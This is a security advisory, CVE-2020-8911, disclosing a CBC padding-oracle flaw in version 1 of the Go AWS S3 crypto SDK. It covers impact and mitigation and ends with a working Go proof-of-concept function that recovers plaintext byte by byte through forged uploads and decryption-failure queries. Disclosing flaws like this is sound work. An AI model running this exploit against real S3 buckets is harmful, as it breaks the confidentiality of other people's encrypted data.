# AWS: CBC Padding oracle in the AWS S3 Crypto SDK for golang

Moderate **u269c** published **GHSA-f5pg-7wfw-84q9** on Aug 10, 2020

Package

**AWS S3 crypto SDK (aws-sdk-go/service/s3/s3crypto)**

| Affected versions | Patched versions |
| --- | --- |
| V1 | V2 |

Description

## Summary

The golang AWS S3 Crypto SDK is impacted by an issue that can result in loss of confidentiality and message forgery. The attack requires write access to the bucket in question, and that the attacker has access to an endpoint that reveals decryption failures (without revealing the plaintext) and that when encrypting the CBC option was chosen as content cipher.

## Risk/Severity

The vulnerability pose insider risks/privilege escalation risks, circumventing KMS controls for stored data.

## Impact

This advisory describes the plaintext revealing vulnerabilities in the golang AWS S3 Crypto SDK, with a similar issue in the non "strict" versions of C++ and Java S3 Crypto SDKs being present as well.

V1 of the S3 crypto SDK, allows users to encrypt files with AES-CBC, without computing a MAC on the data. Note that there is an alternative option of using AES-GCM, which is used in the examples of the documentation and not affected by this vulnerability, but by CVE-2020-8912.

This exposes a padding oracle vulnerability: If the attacker has write access to the S3 bucket and can observe whether or not an endpoint with access to the key can decrypt a file (without observing the file contents that the endpoint learns in the process), they can reconstruct the plaintext with (on average) `128*length(plaintext)` queries to the endpoint, by exploiting CBC's ability to manipulate the bytes of the next block and PKCS5 padding errors.

This issue is fixed in V2 of the API, by disabling encryption with CBC mode for new files. Old files, if they have been encrypted with CBC mode, remain vulnerable until they are reencrypted with AES-GCM.

## Mitigation

Using the version 2 of the S3 crypto SDK will not produce vulnerable files anymore. Old files remain vulnerable to this problem if they were originally encrypted with CBC mode.

## Proof of concept

A Proof of concept is available in a separate github repository.

This particular issue is described in padding_oracle_exploit.go:

```
func PaddingOracleExploit(bucket string, key string, input *OnlineAttackInput) (string, error) {
        data, header, err := input.S3Mock.GetObjectDirect(bucket, key)
        if alg := header.Get("X-Amz-Meta-X-Amz-Cek-Alg"); alg != "AES/CBC/PKCS5Padding" {
                return "", fmt.Errorf("Algorithm is %q, not CBC!", alg)
        }
        length, err := strconv.Atoi(header.Get("X-Amz-Meta-X-Amz-Unencrypted-Content-Length"))
        padding := byte(len(data) - length)
        plaintext := make([]byte, length)
        for i := length - 1; i >= 0; i-- {
                newLength := 16 * (i/16 + 1)
                dataCopy := make([]byte, newLength)
                headerCopy := header.Clone()
                copy(dataCopy, data)
                // Set Padding
                newPadding := byte(newLength - i)
                for j := i + 1; j < newLength; j++ {
                        var oldValue byte
                        if j >= length {
                                oldValue = padding
                        } else {
                                oldValue = plaintext[j]
                        }
                        dataCopy, headerCopy, err = xorData(oldValue^newPadding, j, dataCopy, headerCopy)
                        if err != nil {
                                return "", err
                        }
                }
                // Guess
                for c := 0; c < 256; c++ {
                        dataCopy, headerCopy, err := xorData(byte(c)^newPadding, i, dataCopy, headerCopy)
                        input.S3Mock.PutObjectDirect(bucket, key+"guess", dataCopy, headerCopy)
                        if input.Oracle(bucket, key+"guess") {
                                plaintext[i] = byte(c)
                                break
                        }
                        dataCopy, headerCopy, err = xorData(byte(c)^newPadding, i, dataCopy, headerCopy)
                }
        }
        return string(plaintext), nil
}
```

Severity

Moderate

**CVE ID**

CVE-2020-8911

**Weaknesses**

No CWEs

**Credits**

 sophieschmieg